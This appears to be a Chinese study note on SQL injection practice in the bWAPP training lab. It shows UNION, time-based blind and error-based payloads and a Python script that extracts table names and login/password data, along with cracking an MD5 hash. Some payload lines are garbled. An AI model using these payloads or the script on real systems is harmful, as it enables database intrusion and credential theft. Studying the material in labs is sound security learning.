Bwapp学习笔记

1.基本sql语句

#求绝对值

select abs(-1) from dual;

#取余数

select mod(10,3);

#验证show databases结果是取之于schemata表的

show databases;

select schema_name from information_schema.schemata;

#查询当前的数据库

select database();

-- 查询数据库版本

select version();

select user();

#查询当前时间

select now();

-- 查看数据路径

select @@datadir;

-- 安装路径

select @@basedir;

-- 摸拟数据

-- create database test;

-- use test;

-- create table t1(id int);

-- insert into t1 values(1),(2),(3)

select* from t1;

-- 已知库名去查询库下面所有的表名 下面两条等价

-- select* from information_schema.tables where table_schema=database()

select* from information_schema.tables where table_schema='test'

-- 已知表名查询这个表下所有的字段名

-- user

-- id name age sex user_name password

select column_name from information_schema.columns where table_name='t1'

-- union

select* from t1;

select * from t1 union select version()

select * from t1 where id=1 or 1=1

SQL注入漏洞是什么?

是发生于应用程序与数据库层的安全漏洞。网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

GET型SQL注入漏洞是什么?

我们在提交网页内容时候,主要分为GET方法,POST方法,GET方法提交的内容会显现在网页URL上,通过对URL连接进行构造,可以获得超出权限的信息内容。

加一个单引号,再将后面的代码注释,后面的就不起作用了

联合查询注入

案例1

获取所有的Gifts的商品

获取所有的商品

先判断返回字段个数,使用union select 1,2,3,一直往上加直到不报错

需求3-1分析所有显示字段在数据库里的类型,我们要找到字符类型的字段替换对应位置的字段为我们想要的数据,比如version(),user(),database()

找到当前数据库名称之后

需求3-2通过已知数据库名称,得到该数据库下所有的表名,分析哪个是用户表

需求3-3通过分析得出用户表,假设是user,得到该表下所有的字段,分析哪些字段我们可以利用

3-4查询分析字段,得出结果

案例2

需求1:拿到当前登录数据库的用户名,数据库的名称

1.先试着select 得到下面这个结果

2.将对应位置的数字替换成函数:

3. 已知库名——通过库名找到该库下所有的表—分析所有表名——找到户用户表——已知表名—通过表名得到该表下所有字段名一分析所有字段名(哪个字段是用户,哪个字段是密码)——查询你想要的字段

找到该库下所有的表:

当limit 3,1时出现users (数据库里面还有blog,heroes,movies,visitors表)

改变limit 的值,一个一个试,发现login,password,secret等列

将对应的数字换成函数,查找用户名(A.I.M)和密码密文(6885858486f31043e5839c735d99457f045affd0):

用网站cmd5(md5在线解密破解,md5解密加密)解密得到密码是bug

回归测试

输入a出现带有a的电影名,

源码:

输入:a’ and ‘1’=’1’ #没有数据返回,猜测服务端写的是like语句,因为like是%闭合的,不是单引号闭合的。

相当于:"SELECT * FROM movies WHERE title LIKE '%". a’ and ‘1’=‘1’ #."%'"; 

怎么看源码:

基于时间盲注

案例1

# requests.session():维持会话,可以让我们在跨请求时保存某些参数

import requests

# 实例化session
s = requests.session()

# 目标url
login_url = 'http://127.0.0.1/bwapp/login.php'

# 设置参数(
form_data = dict(
   
login = "bee",
   
password = "bug",
   
security_leveL = 0,
   
form = 'submit'
)
res = s.post(login_url, form_data)

print(res.text)

登陆成功显示:

盲注

# requests.session():维持会话,可以让我们在跨请求时保存某些参数
#4,6,6,5,8 blog,heroes,movies,users,visitors
import requests
import time
# 实例化session
s = requests.session()

# 目标url
login_url = 'http://127.0.0.1/bwapp/login.php'

# 设置参数
form_data = dict(
   
login = "bee",
   
password = "bug",
   
security_leveL = 0,
   
form = 'submit'
)
res = s.post(login_url, form_data)

#print(res.text)

#
获取数据库名称长度
def get_database_name_length() -> int:
    count=
0
   
"""
    1.
获取数据库名称长度
    2.盲注的方式
    Iron Man' and length(database())=? and sleep(2)--
    3.
循环长度1,2,3,4......50
    4.
请求
    """
   
for i in range(50):
        url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and length(database())={} and sleep(2) -- &action=search".format(i)
       
#请求前的本机时间
       
start_time=time.time()
        s.get(url)
       
#请求后花费时间
       
if time.time()-start_time >1:
           
print('数据库长度是{}'.format(i))
            count=i

   
return count


#获取数据库名称
def get_database_name(count):
   
"""
    1.
数据库名长度
    2.盲注方式
     Iron Man' and substr(database(),?,1)='? and sleep(2)--
    """
   
for i in range(count+1):
       
for j in range(33,128):
            url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and ascii(substr(database(),{},1))={} and sleep(2) -- &action=search".format(
                i,j)
           
# 请求前的本机时间
           
start_time = time.time()
            s.get(url)
           
# 请求后花费时间
           
if time.time() - start_time >2:
                
print(chr(j))

#拿到表个数
def get_table_count() ->int:
    count=
0
   
"""
    1.
拿到bwapp这个库下表的个数
    2.盲注方式
    Iron Man' and(select count(table_name) from information_schema.TABLES where table_schema='bwapp')=?
    """
   
for i in range(50):
        url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and(select count(table_name) from information_schema.TABLES where table_schema='bwapp')={} and sleep(2) -- &action=search".format(
            i)
       
# 请求前的本机时间
       
start_time = time.time()
        s.get(url)
       
# 请求后花费时间
       
if time.time() - start_time > 1:
           
print('共有{}个表'.format(i))
            count = i

   
return count

#拿到每张表名的长度
def get_table_length_of_each_table(count):
   
"""
    1.
拿到每张表的长度
    2.盲注方式
    length(table_name) limit
    """
    #i
表示第i个表 ,j是每个表的长度
   
for i in range(count+1):
       
for j in range(50):
            url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and (select length(table_name) from information_schema.TABLES where table_schema='bwapp' limit {},1)={} and sleep(2) -- &action=search".format(i,j)
           
# 请求前的本机时间
            
start_time = time.time()
            s.get(url)
           
# 请求后花费时间
           
if time.time() - start_time >2:
               
print('='*20)
               
print('表长: ',j)
                get_table_name_of_each_table(i,j)


#拿到表名
def get_table_name_of_each_table(index,count):
   
#count是每张表的长度,index是数据库中表的数量
   
for i in range(count+1):
       
for j in range(33,128):
            url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and ascii(substr((select table_name from information_schema.TABLES where table_schema='bwapp' limit {},1),{},1))={} and sleep(2) -- &action=search".format(index,i,j)
           
# 请求前的本机时间
           
start_time = time.time()
            s.get(url)
           
# 请求后花费时间
           
if time.time() - start_time >2:
               
print(chr(j))
#已知表名users
#
拿到users这个表的字段个数
def get_column_count()->int:
    count =
0
   
for i in range(50):
        url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and(select count(column_name) from information_schema.columns where table_name='users')={} and sleep(2) -- &action=search".format(
            i)
       
# 请求前的本机时间
       
start_time = time.time()
        s.get(url)
       
# 请求后花费时间
       
if time.time() - start_time >2:
           
print('共有{}个列'.format(i))
            count = i

   
return count

#拿到每张表字段的长度
def get_column_length_of_each_column(count):
   
for i in range(count+1):
       
for j in range(50):
            url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and (select length(column_name) from information_schema.columns where table_name='users' limit {},1)={} and sleep(2) -- &action=search".format(i,j)
           
# 请求前的本机时间
           
start_time = time.time()
            s.get(url)
           
# 请求后花费时间
           
if time.time() - start_time >2:
               
print('='*20)
               
print('列长: ',j)
                get_column_name_of_each_table(i,j)

#获取字段名
def get_column_name_of_each_table(index,count):
   
for i in range(count+1):
       
for j in range(33,128):
            url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit {},1),{},1))={} and sleep(2) -- &action=search".format(index,i,j)
           
# 请求前的本机时间
           
start_time = time.time()
            s.get(url)
           
# 请求后花费时间
           
if time.time() - start_time >2:
               
print('列名字是:',chr(j))


def get_user_name_password():
    data=[]
   
for i in range(50):
       
for j in range(33,128):
            url =
"http://127.0.0.1/bwapp/sqli_15.php?title=Iron Man' and ascii(substr((select concat(login,'-',password)from users limit 0,1),{},1))={} and sleep(2) -- &action=search".format(i,j)
           
# 请求前的本机时间
           
start_time = time.time()
            s.get(url)
           
# 请求后花费时间
           
if time.time() - start_time >2:
               
print(chr(j))
                data.append(
chr(j))
   
print('.'.join(data))

if __name__=='__main__':
   
#get_database_name_length()
    #get_database_name(get_database_name_length())
    #get_table_count()
    #get_table_length_of_each_table(get_table_count())
    #get_column_length_of_each_column(get_column_count())
   
get_user_name_password()

 

floor报错注入(可以用来判断表里面是否有两个列字段):

无论多少次都是011011,因为product里面有6条数据,当插入第二个1时会报错

例:

运行结果:可以得到数据库版本信息5.7.33

运行结果:得到数据库名:sql_inject

==========================================================

运行结果:没有完全爆出数据库版本

运行结果:完全爆出数据库名:sql_inject

为什么加一个0x7e就能爆出呢:因为0x7e是’ ~ ‘ 数据库不认识,认为它是错的,所以从~处就开始报错。

运行结果:

#获取这个库下所有的表名

1'and extractvalue(1,concat(0x7e,(select1'and extractvalue(1,concat(0x7e,(select table name from information schema.tablestable name from information schema.tables where table schema='bWAPP'limit 0,1)))#

#获取到users表下所有的字段:

1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columnscolumn_name from information_schema.columns where table_name='users' limit 1,1)))#

#限制回显32位

1'and extractvalue(1,concat(0x7e,(select1'and extractvalue(1,concat(0x7e,(select login from users limit e,1)))#

先拿前26个密码:

再拿后面剩余的密码:

updataxml()updataxml(xml_doc,xpath_string,new_value)updataxml(1,xpath_string,1)extractvalue(xml_doc,xpath_string)extractvalue(1,xpath_string)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/266151.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java研学-Servlet 基础

一 概述 1 介绍 Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动…

【数据结构】什么是树?

🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 目录 📌树的定义 📌树的相关概念 📌线性结构与树结构的对比 📌树的抽象数据类型 📌树的存储结构 &#x1f38…

叮咚,微信年度聊天报告(圣诞节版)请查收~丨GitHub star 16.8k+

微信年度聊天报告——圣诞节特别版,快发给心仪的ta吧~ 开源地址 GitHub开源地址:https://github.com/LC044/WeChatMsg 我深信有意义的不是微信,而是隐藏在对话框背后的一个个深刻故事。未来,每个人都能拥有AI的陪伴,…

Docker - 镜像 | 容器 日常开发常用指令 + 演示(一文通关)

目录 Docker 开发常用指令汇总 辅助命令 docker version docker info docker --help 镜像命令 查看镜像信息 下载镜像 搜索镜像 删除镜像 容器命令 查看运行中的容器 运行容器 停止、启动、重启、暂停、恢复容器 杀死容器 删除容器 查看容器日志 进入容器内部…

2024年【北京市安全员-B证】考试题库及北京市安全员-B证模拟试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年【北京市安全员-B证】考试题库及北京市安全员-B证模拟试题,包含北京市安全员-B证考试题库答案和解析及北京市安全员-B证模拟试题练习。安全生产模拟考试一点通结合国家北京市安全员-B证考试最新大纲…

直接插入排序【从0-1学数据结构】

文章目录 💗 直接插入排序Java代码C代码JavaScript代码稳定性时间复杂度空间复杂度 我们先来学习 直接插入排序, 直接排序算是所有排序中最简单的了,代码也非常好实现,尽管直接插入排序很简单,但是我们依旧不可以上来就直接写代码,一定要分析之后才开始写,这样可以提…

手写线程池

手写线程池 线程池原理 线程池的组成主要分为3个部分,这三部分配合工作就可以得到一个完整的线程池: 任务队列,存储需要处理的任务,由工作的线程来处理这些任务 通过线程池提供的API函数,将一个待处理的任务添加到任…

从归并排序引申到排序链表-图解

从归并排序引申到排序链表 文章目录 从归并排序引申到排序链表归并排序递归版非递归版 排序链表递归版非递归版 归并排序 递归版 //合并排序public static void mergeSort(int[] nums) {mergeSortHelper(0, nums.length, nums); //没有-1}private static void mergeSortHelper…

python 使用 pip 安装第三方库 导入不成功

本文是什么意思呢? 就是你需要使用一些库安装老师或者网上说的 通过pip 安装下载了第三方库,但是使用 import xxx from xxx import xx ,pycharm ide 导入的下面还有红色波浪线,导入不成功。 这是什么原因? 这是pyc…

飞天使-k8s知识点5-kubernetes基础名词扫盲

文章目录 deploymentspodNodeserviceskubectl 实现应用伸缩kubectl 实现滚动更新kubernetes架构 deployments 中文文档 http://docs.kubernetes.org.cn/251.htmldeployment是用来创建和更新应用的,master 会负责将创建好的应用实例调度到集群中的各个节点 应用实例…

Qt 开源项目

Qt 开源项目 Omniverse View链接技术介绍 QuickQanava链接技术介绍QField链接技术介绍 AtomicDEX链接技术介绍 Status-desktop链接技术介绍 Librum链接技术介绍 A Simple Cross-Platform ReaderQPrompt链接技术介绍 GCompris链接技术介绍 Scrite链接技术介绍 QSkinny链接技术介…

力扣思维题——寻找重复数

题目链接:https://leetcode.cn/problems/find-the-duplicate-number/description/?envTypestudy-plan-v2&envIdtop-100-liked 这题的思维难度较大。一种是利用双指针法进行计算环的起点,这种方法在面试里很难说清楚,也很难想到。大致做…

银河麒麟v10 二进制安装包 安装mysql 8.35

银河麒麟v10 二进制安装包 安装mysql 8.35 1、卸载mariadb2、下载Mysql安装包3、安装Mysql 8.353.1、安装依赖包3.2、安装Mysql3.3、安装后配置 1、卸载mariadb 由于银河麒麟v10系统默认安装了mariadb 会与Mysql相冲突,因此首先需要卸载系统自带的mariadb 查看系统…

Quartz.NET 事件监听器

1、调度器监听器 调度器本身收到的一些事件通知,接口ISchedulerListener,如作业的添加、删除、停止、挂起等事件通知,调度器的启动、关闭、出错等事件通知,触发器的暂停、挂起等事件通知,接口部分定义如下&#xff1a…

面试题:JVM 对锁都进行了哪些优化?

文章目录 锁优化自旋锁和自适应自旋锁消除锁粗化逃逸分析方法逃逸线程逃逸通过逃逸分析,编译器对代码的优化 锁优化 jvm 在加锁的过程中,会采用自旋、自适应、锁消除、锁粗化等优化手段来提升代码执行效率。 自旋锁和自适应自旋 现在大多的处理器都是…

C++入门-【13-C++ 多维数组】

C 多维数组 C 支持多维数组。多维数组声明的一般形式如下: type name[size1][size2]...[sizeN]; 例如,下面的声明创建了一个三维 5 . 10 . 4 整型数组: int threedim[5][10][4]; 二维数组 多维数组最简单的形式是二维数组。一个二维数组&am…

超维空间S2无人机使用说明书——32、使用yolov7进行目标识别

引言:为了提高yolo识别的质量,提高了yolo的版本,改用yolov7进行物体识别,同时系统兼容了低版本的yolo,包括基于C的yolov3和yolov4,也有更高版本的yolov8。 简介,为了提高识别速度,系…

Android Studio各种Gradle常见报错问题及解决方案

大家好,我是咕噜铁蛋!在开发Android应用程序时,我们可能会遇到各种Gradle错误。这些错误可能来自不同的原因,例如依赖项问题、配置错误、版本冲突等。今天我通过搜索整理了一下,在这篇文章中,我将分享一些常…

AI 绘画StableDiffusionWebui图生图

介绍 stable-diffusion-webui AI绘画工具,本文介绍图生图,以一张图片做底图优化生成。 例如:上传一张真人照片,让AI把他改绘成动漫人物;上传画作线稿,让AI自动上色;上传一张黑白照&#xff0c…

001 图书增删改查 SSM MySQL

技术框架:Spring SpringMVC Mybatis JSP MySQL 001 图书增删改查 SSM MySQL package com.demo.controller;import com.demo.pojo.Book; import com.demo.service.BookService; import org.springframework.beans.factory.annotation.Autowired; import org.spri…